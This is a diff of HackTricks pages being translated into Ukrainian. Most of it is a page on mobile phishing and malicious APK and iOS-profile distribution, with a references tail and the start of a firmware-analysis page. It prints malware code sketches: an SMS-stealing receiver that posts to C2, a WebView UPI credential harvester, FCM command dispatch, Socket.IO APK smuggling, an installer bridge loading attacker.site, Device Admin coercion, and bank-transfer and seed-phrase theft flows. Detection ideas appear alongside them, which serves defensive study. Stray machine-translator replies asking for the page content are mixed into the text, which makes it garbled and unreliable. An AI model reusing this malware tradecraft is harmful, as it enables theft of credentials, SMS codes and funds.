- [GoSecure Abusing WSUS to enable NTLM relaying attacks](https://gosecure.ai/blog/2021/11/22/gosecure-investigates-abusing-windows-server-update-services-wsus-to-enable-ntlm-relaying-attacks)
- [Impacket PR #2034 Restore HTTP server in ntlmrelayx](https://github.com/fortra/impacket/pull/2034)
- [Impacket PR #913 HTTP relay support](https://github.com/fortra/impacket/pull/913)
- [WSUScripts wsusniff.py](https://github.com/Coontzy1/WSUScripts/blob/main/wsusniff.py)
- [WSUScripts wsuspider.sh](https://github.com/Coontzy1/WSUScripts/blob/main/wsuspider.sh)
- [MS-WSUSOD Windows Server Update Services: Server-to-Client Protocol](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-wsusod/e00a5e81-c600-40d9-96b5-9cab78364416)
- [Microsoft WSUS deprecation announcement](https://techcommunity.microsoft.com/blog/windows-itpro-blog/windows-server-update-services-wsus-deprecation/4250436)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,67 +1,67 @@
# Мобільний фішинг і розповсюдження шкідливих додатків (Android & iOS)
# Mobile Phishing & Malicious App Distribution (Android & iOS)
{{#include ../../banners/hacktricks-training.md}}
> [!INFO]
> На цій сторінці описано техніки, які використовують загрозливі актори для розповсюдження **шкідливих Android APKs** і **iOS mobile-configuration profiles** через фішинг (SEO, соціальна інженерія, фейкові магазини, додатки для знайомств тощо).
> Матеріал адаптовано з кампанії SarangTrap, оприлюдненої Zimperium zLabs (2025), та інших публічних досліджень.
> Ця сторінка описує техніки, які використовують threat actors для поширення **malicious Android APKs** та **iOS mobile-configuration profiles** через phishing (SEO, social engineering, fake stores, dating apps тощо).
> Матеріал адаптовано з кампанії SarangTrap, розкритої Zimperium zLabs (2025), та інших публічних досліджень.
## Хід атаки
## Attack Flow
1. **SEO/Phishing Infrastructure**
* Реєструвати десятки подібних доменів (dating, cloud share, car service…).
Використовувати ключові слова місцевою мовою та емодзі в елементі `<title>` для ранжування в Google.
Розміщувати інструкції з інсталяції для *Android* (`.apk`) та iOS на одній цільовій сторінці.
2. **Початкове завантаження**
* Android: пряма посилання на *непідписаний* або «third-party store» APK.
* iOS: `itms-services://` або звичайне HTTPS-посилання на шкідливий **mobileconfig** профіль (див. нижче).
3. **Соціальна інженерія після інсталяції**
* Під час першого запуску додаток запитує **код запрошення / перевірки** (ілюзія ексклюзивного доступу).
* Код **POSTиться по HTTP** до Command-and-Control (C2).
* Реєстрація десятків look-alike доменів (dating, cloud share, car service…).
Використання ключових слів рідною мовою та emojis у елементі `<title>`, щоб підвищити ранжування в Google.
Розміщення інструкцій по встановленню для *both* Android (`.apk`) та iOS на одній landing page.
2. **First Stage Download**
* Android: пряме посилання на *unsigned* або “third-party store” APK.
* iOS: `itms-services://` або звичайне HTTPS-посилання на шкідливий **mobileconfig** profile (див. нижче).
3. **Post-install Social Engineering**
* Під час першого запуску app запитує **invitation / verification code** (ілюзія ексклюзивного доступу).
* Код відправляється як POST over HTTP до Command-and-Control (C2).
* C2 відповідає `{"success":true}` ➜ malware продовжує роботу.
* Динамічний аналіз Sandbox/AV, який ніколи не відправляє валідний код, не виявляє **шкідливої поведінки** (evade).
4. **Зловживання дозволами під час виконання (Runtime Permission Abuse)** (Android)
* Дозволи, що дають значні привілеї, запрошуються тільки **після позитивної відповіді C2**:
* Sandbox / AV dynamic analysis, яка ніколи не надсилає валідний код, не бачить **no malicious behaviour** (evasion).
4. **Runtime Permission Abuse** (Android)
* Небезпечні permissions запитуються лише **після позитивної відповіді C2**:
```xml
<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<!-- Older builds also asked for SMS permissions -->
```
* Останні варіанти **видаляють `<uses-permission>` для SMS з `AndroidManifest.xml`**, але залишають Java/Kotlin код, який читає SMS через reflection ⇒ це знижує статичну оцінку, але залишається функціональним на пристроях, які надають дозвіл через `AppOps` abuse або старі цілі.
5. **Фасадний UI та збір у фоновому режимі**
* Додаток показує нешкідливі екрани (SMS viewer, gallery picker), реалізовані локально.
* Тим часом він ексфільтрує:
- IMEI / IMSI, номер телефону
- Повний дамп `ContactsContract` (JSON array)
* Останні варіанти **видаляють `<uses-permission>` для SMS з `AndroidManifest.xml`**, але залишають Java/Kotlin код, що читає SMS через reflection ⇒ це знижує static score, але залишається функціональним на пристроях, де permission надано через `AppOps` abuse або в старих цілях.
5. **Facade UI & Background Collection**
* App показує нешкідливі view (SMS viewer, gallery picker), реалізовані локально.
* Тим часом виконується exfiltration:
- IMEI / IMSI, phone number
- Повний dump `ContactsContract` (JSON array)
- JPEG/PNG з `/sdcard/DCIM`, стиснуті за допомогою [Luban](https://github.com/Curzibn/Luban) для зменшення розміру
- Опційний вміст SMS (`content://sms`)
Payloads пакетно zip-уються і відправляються через `HTTP POST /upload.php`.
6. **Техніка доставки для iOS**
* Одиничний **mobile-configuration profile** може запитувати `PayloadType=com.apple.sharedlicenses`, `com.apple.managedConfiguration` тощо, щоб зареєструвати пристрій у супервізії, подібній до “MDM”.
- Опціонально вміст SMS (`content://sms`)
Payloads пакетуються в batch-zip і відправляються через `HTTP POST /upload.php`.
6. **iOS Delivery Technique**
* Один **mobile-configuration profile** може запитувати `PayloadType=com.apple.sharedlicenses`, `com.apple.managedConfiguration` тощо, щоб записати пристрій у “MDM”-подібний supervision.
* Інструкції соціальної інженерії:
1. Open Settings ➜ *Profile downloaded*.
2. Tap *Install* три рази (скріншоти на фішинговій сторінці).
3. Trust the unsigned profile ➜ зловмисник отримує *Contacts* & *Photo* entitlement без перевірки App Store.
7. **Мережевий рівень**
* Простий HTTP, часто на порті 80 з HOST header на кшталт `api.<phishingdomain>.com`.
* `User-Agent: Dalvik/2.1.0 (Linux; U; Android 13; Pixel 6 Build/TQ3A.230805.001)` (без TLS → легко помітити).
2. Tap *Install* три рази (скріншоти на phishing page).
3. Trust the unsigned profile ➜ attacker отримує entitlements для *Contacts* & *Photo* без App Store review.
7. **Network Layer**
* Plain HTTP, часто на порті 80 з HOST header типу `api.<phishingdomain>.com`.
* `User-Agent: Dalvik/2.1.0 (Linux; U; Android 13; Pixel 6 Build/TQ3A.230805.001)` (no TLS → легко виявити).
## Тестування захисту / поради Red-Team
## Defensive Testing / Red-Team Tips
* **Dynamic Analysis Bypass** під час оцінки malware автоматизуйте фазу введення коду запрошення за допомогою Frida/Objection, щоб дістатися до шкідливої гілки.
* **Manifest vs. Runtime Diff** порівняйте `aapt dump permissions` з runtime `PackageManager#getRequestedPermissions()`; відсутність небезпечних дозволів — червоний прапорець.
* **Network Canary** налаштуйте `iptables -p tcp --dport 80 -j NFQUEUE` для виявлення аномальних POST-сплесків після введення коду.
* **mobileconfig Inspection** використовуйте `security cms -D -i profile.mobileconfig` на macOS, щоб перелічити `PayloadContent` і виявити надмірні entitlements.
* **Dynamic Analysis Bypass** Під час оцінки malware автоматизуйте фазу invitation code за допомогою Frida/Objection, щоб дістатися до шкідливої гілки.
* **Manifest vs. Runtime Diff** Порівняйте `aapt dump permissions` з runtime `PackageManager#getRequestedPermissions()`; відсутність небезпечних perms — червоний прапорець.
* **Network Canary** Налаштуйте `iptables -p tcp --dport 80 -j NFQUEUE` для виявлення незвичних POST-потоків після введення коду.
* **mobileconfig Inspection** Використовуйте `security cms -D -i profile.mobileconfig` на macOS, щоб перелічити `PayloadContent` і виявити надмірні entitlements.
## Ідеї для виявлення Blue-Team
## Blue-Team Detection Ideas
* **Certificate Transparency / DNS Analytics** для виявлення різкого спалаху доменів, насичених ключовими словами.
* **Certificate Transparency / DNS Analytics** для виявлення раптових хвиль доменів, багатих на ключові слова.
* **User-Agent & Path Regex**: `(?i)POST\s+/(check|upload)\.php` від Dalvik клієнтів поза Google Play.
* **Invite-code Telemetry** POST 68 цифрових кодів незабаром після встановлення APK може вказувати на стадію підготовки.
* **MobileConfig Signing** блокувати непідписані configuration profiles через політику MDM.
* **Invite-code Telemetry** POST 68 цифрних numeric codes незабаром після встановлення APK може вказувати на стадію staging.
* **MobileConfig Signing** Блокувати unsigned configuration profiles через політику MDM.
## Корисний фрагмент Frida: автоматичний обхід коду запрошення
## Useful Frida Snippet: Auto-Bypass Invitation Code
```python
# frida -U -f com.badapp.android -l bypass.js --no-pause
# Hook HttpURLConnection write to always return success
@ -90,17 +90,17 @@ LubanCompress 1.1.8 # "Luban" string inside classes.dex
## Android WebView Payment Phishing (UPI) Dropper + FCM C2 Pattern
Цей патерн спостерігався в кампаніях, що використовують теми державних виплат для викрадення індійських UPI облікових даних та OTPs. Оператори ланцюжать авторитетні платформи для доставки та підвищення стійкості.
Цей патерн спостерігався в кампаніях, що зловживають темами державних виплат для викрадення Indian UPI credentials та OTP. Оператори ланцюжать авторитетні платформи для доставки та підвищення стійкості.
### Delivery chain across trusted platforms
- YouTube video lure → у описі міститься коротке посилання
- YouTube відео-приманка → в описі міститься коротке посилання
- Коротке посилання → GitHub Pages фішинговий сайт, що імітує легітимний портал
- Той же GitHub repo розміщує APK з фальшивим “Google Play” значком, що посилається безпосередньо на файл
- Динамічні фішингові сторінки розміщені на Replit; канал віддалених команд використовує Firebase Cloud Messaging (FCM)
- Той самий GitHub repo хостить APK з підробним “Google Play” бейджем, що веде безпосередньо до файлу
- Динамічні фішингові сторінки живуть на Replit; канал віддалених команд використовує Firebase Cloud Messaging (FCM)
### Dropper with embedded payload and offline install
- Перший APK — встановник (dropper), який доставляє реальний malware у `assets/app.apk` і підказує користувачу вимкнути WiFi/мобільні дані, щоб зменшити виявлення в хмарі.
- Вбудований payload встановлюється під невинною назвою (наприклад, “Secure Update”). Після встановлення і встановник, і payload присутні як окремі додатки.
- Перший APK — інсталятор (dropper), який доставляє реальний malware у `assets/app.apk` і підказує користувачу вимкнути WiFi/мобільні дані, щоб зменшити ефективність хмарного виявлення.
- Вбудований payload встановлюється під нешкідливою назвою (наприклад, “Secure Update”). Після інсталяції і інсталятор, і payload присутні як окремі додатки.
Static triage tip (grep for embedded payloads):
```bash
@ -108,10 +108,10 @@ unzip -l sample.apk | grep -i "assets/app.apk"
# Or:
zipgrep -i "classes|.apk" sample.apk | head
```
### Динамічне виявлення endpoints через shortlink
- Malware отримує plain-text, comma-separated список активних endpoints з shortlink; прості string transforms генерують фінальний phishing page path.
### Динамічне визначення кінцевих точок через shortlink
- Malware витягує список активних кінцевих точок у вигляді простого тексту, розділеного комами, з shortlink; прості перетворення рядків створюють фінальний шлях до phishing-сторінки.
Приклад (санітизовано):
Приклад (санітизований):
```
GET https://rebrand.ly/dclinkto2
Response: https://sqcepo.replit.app/gate.html,https://sqcepo.replit.app/addsm.php
@ -128,26 +128,26 @@ String smsPost = parts[1];
String credsPost = upiPage.replace("gate.htm", "addup.php");
```
### WebView-based UPI credential harvesting
- Крок “Make payment of ₹1 / UPILite” завантажує HTML-форму зловмисника з динамічного endpoint всередині WebView і захоплює конфіденційні поля (номер телефону, банк, UPI PIN), які `POST`яться до `addup.php`.
- Крок «Make payment of ₹1 / UPILite» завантажує шкідливу HTML-форму атакуючого з динамічного endpoint всередині WebView і перехоплює конфіденційні поля (телефон, банк, UPI PIN), які потім передаються через `POST` у `addup.php`.
Мінімальний loader:
Minimal loader:
```java
WebView wv = findViewById(R.id.web);
wv.getSettings().setJavaScriptEnabled(true);
wv.loadUrl(upiPage); // ex: https://<replit-app>/gate.htm
```
### Саморозповсюдження та перехоплення SMS/OTP
- Під час першого запуску запитуються агресивні дозволи:
### Self-propagation and SMS/OTP interception
- На першому запуску запитуються агресивні дозволи:
```xml
<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.SEND_SMS"/>
<uses-permission android:name="android.permission.READ_SMS"/>
<uses-permission android:name="android.permission.CALL_PHONE"/>
```
- Контакти перебираються для масової розсилки smishing SMS з пристрою жертви.
- Вхідні SMS перехоплюються broadcast receiver і завантажуються з метаданими (sender, body, SIM slot, per-device random ID) до `/addsm.php`.
- Контакти перебираються в циклі для масової розсилки smishing SMS з пристрою жертви.
- Вхідні SMS перехоплюються broadcast receiver і завантажуються з метаданими (відправник, текст повідомлення, слот SIM, унікальний для пристрою випадковий ID) на `/addsm.php`.
Ескіз receiver:
Ескіз приймача:
```java
public void onReceive(Context c, Intent i){
SmsMessage[] msgs = Telephony.Sms.Intents.getMessagesFromIntent(i);
@ -162,7 +162,9 @@ postForm(urlAddSms, new FormBody.Builder()
}
```
### Firebase Cloud Messaging (FCM) як стійкий C2
- The payload реєструється в FCM; push messages містять поле `_type`, яке використовується як перемикач для запуску дій (наприклад, оновлення шаблонів текстів phishing, перемикання поведінки).
- payload реєструється в FCM; push-повідомлення містять поле `_type`, яке використовується як перемикач для запуску дій (наприклад, оновлення текстових шаблонів phishing, перемикання поведінкових режимів).
Приклад FCM payload:
```json
{
"to": "<device_fcm_token>",
@ -184,28 +186,69 @@ case "smish": sendSmishToContacts(); break;
}
}
```
### Шаблони полювання та IOCs
- APK contains secondary payload at `assets/app.apk`
- WebView loads payment from `gate.htm` and exfiltrates to `/addup.php`
- SMS exfiltration to `/addsm.php`
- Shortlink-driven config fetch (e.g., `rebrand.ly/*`) returning CSV endpoints
- Apps labelled as generic “Update/Secure Update”
- FCM `data` messages with a `_type` discriminator in untrusted apps
### Hunting patterns and IOCs
- APK містить вторинний payload в `assets/app.apk`
- WebView завантажує payment з `gate.htm` і exfiltrates до `/addup.php`
- SMS exfiltration до `/addsm.php`
- Запит конфігурації через shortlink (наприклад, `rebrand.ly/*`), який повертає CSV endpoints
- Додатки, позначені як generic “Update/Secure Update”
- FCM `data` повідомлення з дискримінатором `_type` в ненадійних додатках
### Ідеї виявлення та захисту
- Позначати додатки, які просять користувачів вимкнути мережу під час інсталяції, а потім side-load другого APK з `assets/`.
- Сигналізувати при кортежі дозволів: `READ_CONTACTS` + `READ_SMS` + `SEND_SMS` + WebView-based payment flows.
- Моніторинг egress для `POST /addup.php|/addsm.php` на некорпоративних хостах; блокувати відому інфраструктуру.
- Правила Mobile EDR: untrusted app, що реєструється для FCM і розгалужується по полю `_type`.
### Detection & defence ideas
- Позначати додатки, які інструктують користувачів вимкнути мережу під час інсталяції, а потім side-load другий APK з `assets/`.
- Сповіщати про кортеж дозволів: `READ_CONTACTS` + `READ_SMS` + `SEND_SMS` разом з платіжними потоками на базі WebView.
- Моніторинг вихідного трафіку для `POST /addup.php|/addsm.php` на некорпоративних хостах; блокувати відому інфраструктуру.
- Правила Mobile EDR: ненадійний додаток, що реєструється для FCM і робить розгалуження за полем `_type`.
---
## Android Accessibility/Overlay & Device Admin Abuse, ATS automation, and NFC relay orchestration Кейс RatOn
## Socket.IO/WebSocket-based APK Smuggling + Fake Google Play Pages
Кампанія RatOn banker/RAT (ThreatFabric) — конкретний приклад того, як сучасні mobile phishing операції поєднують WebView droppers, Accessibility-driven UI automation, overlays/ransom, Device Admin coercion, Automated Transfer System (ATS), захоплення crypto wallet та навіть NFC-relay orchestration. Цей розділ абстрагує повторно використовувані техніки.
Зловмисники все частіше замінюють статичні посилання на APK каналом Socket.IO/WebSocket, вбудованим у підроблені лендінги, що нагадують Google Play. Це приховує payload URL, обходить URL/extension filters, і зберігає реалістичний install UX.
Типовий клієнтський потік, зафіксований у реальних операціях:
```javascript
// Open Socket.IO channel and request payload
const socket = io("wss://<lure-domain>/ws", { transports: ["websocket"] });
socket.emit("startDownload", { app: "com.example.app" });
// Accumulate binary chunks and drive fake Play progress UI
const chunks = [];
socket.on("chunk", (chunk) => chunks.push(chunk));
socket.on("downloadProgress", (p) => updateProgressBar(p));
// Assemble APK clientside and trigger browser save dialog
socket.on("downloadComplete", () => {
const blob = new Blob(chunks, { type: "application/vnd.android.package-archive" });
const url = URL.createObjectURL(blob);
const a = document.createElement("a");
a.href = url; a.download = "app.apk"; a.style.display = "none";
document.body.appendChild(a); a.click();
});
```
Чому це обходить прості контрзаходи:
- Не розкривається статичний APK URL; payload реконструюється в пам'яті з WebSocket frames.
- Фільтри URL/MIME/розширень, які блокують прямі .apk відповіді, можуть не помітити бінарні дані, тунельовані через WebSockets/Socket.IO.
- Crawlers і URL-sandboxes, які не виконують WebSockets, не зможуть отримати payload.
Ідеї для пошуку та виявлення:
- Web/мережева телеметрія: позначайте WebSocket-сесії, що передають великі бінарні чанки, після яких створюється Blob з MIME application/vnd.android.package-archive і програмний клік по `<a download>`. Шукайте клієнтські рядки на кшталт socket.emit('startDownload'), а також події з іменами chunk, downloadProgress, downloadComplete у скриптах сторінки.
- Play-store spoof heuristics: на не-Google доменах, що віддають сторінки, схожі на Play, шукайте Google Play UI рядки, такі як http.html:"VfPpkd-jY41G-V67aGc", змішаномовні шаблони та фейкові потоки «verification/progress», керовані WS подіями.
- Контрзаходи: блокувати доставку APK з не-Google джерел; застосовувати політики MIME/розширень, які охоплюють WebSocket-трафік; зберігати безпечні підказки завантаження браузера.
See also WebSocket tradecraft and tooling:
{{#ref}}
../../pentesting-web/websocket-attacks.md
{{#endref}}
## Android Accessibility/Overlay та Device Admin Abuse, ATS automation, and NFC relay orchestration RatOn case study
Кампанія RatOn banker/RAT (ThreatFabric) — конкретний приклад того, як сучасні mobile phishing операції поєднують WebView droppers, Accessibility-driven UI automation, overlays/ransom, Device Admin coercion, Automated Transfer System (ATS), crypto wallet takeover і навіть NFC-relay orchestration. Цей розділ абстрагує багаторазово використовувані техніки.
### Stage-1: WebView → native install bridge (dropper)
Атакувальники відображають WebView, що завантажує сторінку атакуючого, і інжектять JavaScript interface, який надає доступ до native installer. Натиск на HTML-кнопку викликає native code, який встановлює second-stage APK, вбудований у assets дроппера, а потім одразу його запускає.
Атакувальники показують WebView, що вказує на сторінку нападника, і інжектять JavaScript інтерфейс, який виставляє native installer. Дотик по HTML-кнопці викликає native код, який встановлює second-stage APK, упакований в assets dropperа, і потім запускає його напряму.
Мінімальний патерн:
```java
@ -236,23 +279,23 @@ wv.loadUrl("https://attacker.site/install.html");
}
}
```
Я не бачу вмісту сторінки. Будь ласка, вставте HTML/markdown, який потрібно перекласти. Я перекладу видимий англомовний текст українською, залишаючи без змін код, теги, посилання, шляхи, назви технік та інші елементи, зазначені у ваших інструкціях.
Будь ласка, надайте HTML або текст сторінки (вміст файлу) для перекладу — нічого не можна перекласти без самого вмісту.
```html
<button onclick="bridge.installApk()">Install</button>
```
Після встановлення dropper запускає payload через явний package/activity:
Після встановлення dropper запускає payload через explicit package/activity:
```java
Intent i = new Intent();
i.setClassName("com.stage2.core", "com.stage2.core.MainActivity");
startActivity(i);
```
Hunting idea: недовірені додатки, які викликають `addJavascriptInterface()` і відкривають installer-like methods для WebView; APK, що постачає вбудований вторинний payload у `assets/` і викликає Package Installer Session API.
Ідея для виявлення: ненадійні програми, що викликають `addJavascriptInterface()` і відкривають для WebView методи, схожі на інсталятор; APK, який постачає вбудований вторинний payload під `assets/` і викликає Package Installer Session API.
### Воронка згоди: Accessibility + Device Admin + follow-on runtime prompts
Stage-2 відкриває WebView, який містить сторінку “Access”. Її кнопка викликає exported method, що переводить жертву до налаштувань Accessibility і просить увімкнути rogue service. Після надання, malware використовує Accessibility, щоб автоматично натискати кнопки в наступних діалогах runtime permission (contacts, overlay, manage system settings тощо) і запитує Device Admin.
### Фільтр згоди: Accessibility + Device Admin + подальні runtime запити
На другому етапі відкривається WebView, який містить сторінку «Access». Її кнопка викликає експортований метод, що переводить жертву в налаштування Accessibility і просить увімкнути шкідливий сервіс. Після надання дозволу malware використовує Accessibility, щоб автоматично натискати через наступні діалоги runtime-дозволів (contacts, overlay, manage system settings тощо) і запитує Device Admin.
- Accessibility програмно допомагає приймати подальші запити, знаходячи кнопки типу “Allow”/“OK” в node-tree і відправляючи кліки.
- Перевірка/запит дозволу overlay:
- Accessibility програмно допомагає приймати наступні запити, знаходячи кнопки типу “Allow”/“OK” в дереві вузлів і ініціюючи кліки.
- Overlay permission check/request:
```java
if (!Settings.canDrawOverlays(ctx)) {
Intent i = new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION,
@ -266,19 +309,19 @@ ctx.startActivity(i);
../../mobile-pentesting/android-app-pentesting/accessibility-services-abuse.md
{{#endref}}
### Overlay phishing/ransom через WebView
Оператори можуть надсилати команди, щоб:
- відобразити full-screen overlay з URL, або
- передати inline HTML, яке завантажується в WebView overlay.
### Оверлей phishing/ransom через WebView
Оператори можуть надсилати команди для:
- відтворити повноекранний оверлей з URL, або
- передати inline HTML, яке завантажується в WebView-оверлей.
Ймовірні застосування: coercion (введення PIN), відкриття wallet для перехоплення PIN, ransom-повідомлення. Передбачте команду, яка перевіряє та забезпечує наявність дозволу overlay, якщо його бракує.
Ймовірні сценарії використання: coercion (введення PIN), відкриття wallet для перехоплення PINів, ransom messaging. Наявна команда має перевіряти та забезпечувати дозвіл на overlay, якщо він відсутній.
### Remote control model текстовий pseudo-screen + screen-cast
- Низька пропускна здатність: періодично дампити Accessibility node tree, серіалізувати видимі тексти/ролі/bounds і відправляти на C2 як pseudo-screen (команди на кшталт `txt_screen` для одноразового, та `screen_live` для безперервного).
- Висока деталізація: запитати MediaProjection і запускати screen-casting/запис за запитом (команди на кшталт `display` / `record`).
### Модель віддаленого керування текстовий псевдо-екран + screen-cast
- Low-bandwidth: періодично робити дамп Accessibility node tree, серіалізувати видимі тексти/roles/bounds і відправляти на C2 як псевдо-екран (команди на кшталт `txt_screen` — одноразова і `screen_live` — безперервна).
- High-fidelity: запитувати MediaProjection і за потреби починати screen-casting/recording (команди на кшталт `display` / `record`).
### ATS playbook (автоматизація банківського додатку)
Отримавши JSON-завдання, відкрити банківський додаток, керувати UI через Accessibility, комбінуючи текстові запити та натискання по координатах, і ввести платіжний PIN жертви, коли буде запитано.
### ATS playbook (bank app automation)
За заданим JSON-завданням відкрити банківський додаток, керувати UI через Accessibility за допомогою поєднання текстових запитів і координатних тапів, і ввести платіжний PIN жертви при запиті.
Приклад завдання:
```json
@ -291,29 +334,29 @@ ctx.startActivity(i);
}
```
Example texts seen in one target flow (CZ → EN):
- "Nová platba" → "Нова оплата"
- "Zadat platbu" → "Ввести платіж"
- "Nový příjemce" → "Новий одержувач"
- "Domácí číslo účtu" → "Номер внутрішнього рахунку"
- "Další" → "Далі"
- "Odeslat" → "Надіслати"
- "Ano, pokračovat" → "Так, продовжити"
- "Zaplatit" → "Сплатити"
- "Hotovo" → "Готово"
- "Nová platba" → "New payment"
- "Zadat platbu" → "Enter payment"
- "Nový příjemce" → "New recipient"
- "Domácí číslo účtu" → "Domestic account number"
- "Další" → "Next"
- "Odeslat" → "Send"
- "Ano, pokračovat" → "Yes, continue"
- "Zaplatit" → "Pay"
- "Hotovo" → "Done"
Operators can also check/raise transfer limits via commands like `check_limit` and `limit` that navigate the limits UI similarly.
Оператори також можуть перевіряти/підвищувати ліміти переказів через команди на кшталт `check_limit` і `limit`, які аналогічно працюють з інтерфейсом лімітів.
### Crypto wallet seed extraction
Targets like MetaMask, Trust Wallet, Blockchain.com, Phantom. Flow: unlock (stolen PIN or provided password), navigate to Security/Recovery, reveal/show seed phrase, keylog/exfiltrate it. Implement locale-aware selectors (EN/RU/CZ/SK) to stabilise navigation across languages.
### Витягнення seed phrase крипто-гаманця
Цілі типу MetaMask, Trust Wallet, Blockchain.com, Phantom. Flow: unlock (stolen PIN or provided password), navigate to Security/Recovery, reveal/show seed phrase, keylog/exfiltrate it. Implement locale-aware selectors (EN/RU/CZ/SK) to stabilise navigation across languages.
### Device Admin coercion
Device Admin APIs are used to increase PIN-capture opportunities and frustrate the victim:
### Примус через Device Admin
Device Admin APIs використовуються для збільшення можливостей PIN-capture та для ускладнення дій жертви:
- Негайне блокування:
```java
dpm.lockNow();
```
- Примусово зробити поточні облікові дані недійсними, щоб змусити зміну (Accessibility перехоплює новий PIN/пароль):
- Завершити термін дії поточних облікових даних, щоб примусити зміну (Accessibility фіксує новий PIN/пароль):
```java
dpm.setPasswordExpirationTimeout(admin, 1L); // requires admin / often owner
```
@ -323,10 +366,10 @@ dpm.setKeyguardDisabledFeatures(admin,
DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT |
DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS);
```
Note: Багато контролів DevicePolicyManager вимагають Device Owner/Profile Owner на сучасних Android; деякі OEM-збірки можуть бути менш строгими. Завжди перевіряйте на цільовій ОС/OEM.
Note: Many DevicePolicyManager controls require Device Owner/Profile Owner on recent Android; some OEM builds may be lax. Always validate on target OS/OEM.
### NFC relay orchestration (NFSkate)
Stage-3 може встановити та запустити зовнішній модуль NFC-relay (наприклад, NFSkate) і навіть передати йому HTML-шаблон, щоб підказувати жертві під час реле. Це дозволяє здійснювати безконтактні cash-out за карткою при фізичній присутності разом з online ATS.
Stage-3 can install and launch an external NFC-relay module (e.g., NFSkate) and even hand it an HTML template to guide the victim during the relay. This enables contactless card-present cash-out alongside online ATS.
Background: [NFSkate NFC relay](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay).
@ -341,12 +384,12 @@ Background: [NFSkate NFC relay](https://www.threatfabric.com/blogs/ghost-tap-new
- NFC: `nfs`, `nfs_inject`
### Detection & defence ideas (RatOn-style)
- Шукайте WebViews із `addJavascriptInterface()` що відкривають методи інсталятора/дозволів; сторінки, що закінчуються на “/access” і викликають Accessibility-підказки.
- Сигналізуйте про додатки, які генерують високоінтенсивні Accessibility жести/кліки незабаром після надання доступу до сервісу; телеметрія, що нагадує дампи Accessibility node, відправлені на C2.
- Моніторте зміни політик Device Admin в ненадійних додатках: `lockNow`, закінчення терміну пароля, перемикання функцій keyguard.
- Сигналізуйте про MediaProjection-підказки від некорпоративних додатків, за якими слідують періодичні завантаження кадрів.
- Виявляйте інсталяцію/запуск зовнішнього NFC-relay додатка, ініційованого іншим додатком.
- Для банкінгу: впровадьте позаканальні підтвердження, прив'язку біометрії та ліміти транзакцій, стійкі до автоматизації на пристрої.
- Hunt for WebViews with `addJavascriptInterface()` exposing installer/permission methods; pages ending in “/access” that trigger Accessibility prompts.
- Alert on apps that generate high-rate Accessibility gestures/clicks shortly after being granted service access; telemetry that resembles Accessibility node dumps sent to C2.
- Monitor Device Admin policy changes in untrusted apps: `lockNow`, password expiration, keyguard feature toggles.
- Alert on MediaProjection prompts from non-corporate apps followed by periodic frame uploads.
- Detect installation/launch of an external NFC-relay app triggered by another app.
- For banking: enforce out-of-band confirmations, biometrics-binding, and transaction-limits resistant to on-device automation.
## References
@ -356,5 +399,8 @@ Background: [NFSkate NFC relay](https://www.threatfabric.com/blogs/ghost-tap-new
- [Firebase Cloud Messaging — Docs](https://firebase.google.com/docs/cloud-messaging)
- [The Rise of RatOn: From NFC heists to remote control and ATS (ThreatFabric)](https://www.threatfabric.com/blogs/the-rise-of-raton-from-nfc-heists-to-remote-control-and-ats)
- [GhostTap/NFSkate NFC relay cash-out tactic (ThreatFabric)](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay)
- [Banker Trojan Targeting Indonesian and Vietnamese Android Users (DomainTools)](https://dti.domaintools.com/banker-trojan-targeting-indonesian-and-vietnamese-android-users/)
- [DomainTools SecuritySnacks ID/VN Banker Trojans (IOCs)](https://github.com/DomainTools/SecuritySnacks/blob/main/2025/BankerTrojan-ID-VN)
- [Socket.IO](https://socket.io)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,51 +1,57 @@
# Firmware Analysis
# Аналіз прошивки
{{#include ../../banners/hacktricks-training.md}}
## **Introduction**
## **Вступ**
### Пов'язані ресурси
### Related resources
{{#ref}}
synology-encrypted-archive-decryption.md
{{#endref}}
Firmware є основним програмним забезпеченням, яке дозволяє пристроям працювати правильно, керуючи та полегшуючи зв'язок між апаратними компонентами та програмним забезпеченням, з яким взаємодіють користувачі. Воно зберігається в постійній пам'яті, що забезпечує доступ пристрою до важливих інструкцій з моменту його ввімкнення, що призводить до запуску операційної системи. Аналіз та потенційне модифікування прошивки є критичним кроком у виявленні вразливостей безпеки.
{{#ref}}
../../network-services-pentesting/32100-udp-pentesting-pppp-cs2-p2p-cameras.md
{{#endref}}
## **Gathering Information**
**Збір інформації** є критично важливим початковим кроком у розумінні складу пристрою та технологій, які він використовує. Цей процес включає збір даних про:
Прошивка — це необхідне програмне забезпечення, яке дозволяє пристроям працювати коректно, керуючи й полегшуючи обмін між апаратними компонентами та програмним забезпеченням, з яким взаємодіють користувачі. Вона зберігається в постійній пам'яті, що гарантує пристрою доступ до важливих інструкцій з моменту його ввімкнення та забезпечує запуск операційної системи. Аналіз і, за потреби, модифікація прошивки — критично важливий крок у виявленні вразливостей безпеки.
- Архітектуру ЦП та операційну систему, на якій він працює
- Специфікації завантажувача
- Схему апаратного забезпечення та технічні характеристики
- Метрики кодової бази та місця розташування виходу
## **Збирання інформації**
**Збирання інформації** — ключовий початковий етап для розуміння складу пристрою та технологій, які він використовує. Цей процес включає збір даних про:
- Архітектуру CPU та операційну систему, яку він запускає
- Особливості завантажувача (bootloader)
- Аппаратну схему та datasheets
- Метрики кодової бази та місця розташування вихідного коду
- Зовнішні бібліотеки та типи ліцензій
- Історії оновлень та регуляторні сертифікації
- Архітектурні та потокові діаграми
- Історію оновлень та регуляторні сертифікати
- Архітектурні діаграми та діаграми потоків
- Оцінки безпеки та виявлені вразливості
Для цієї мети **інструменти відкритих джерел (OSINT)** є безцінними, як і аналіз будь-яких доступних компонентів програмного забезпечення з відкритим кодом через ручні та автоматизовані процеси перевірки. Інструменти, такі як [Coverity Scan](https://scan.coverity.com) та [Semmles LGTM](https://lgtm.com/#explore), пропонують безкоштовний статичний аналіз, який можна використовувати для виявлення потенційних проблем.
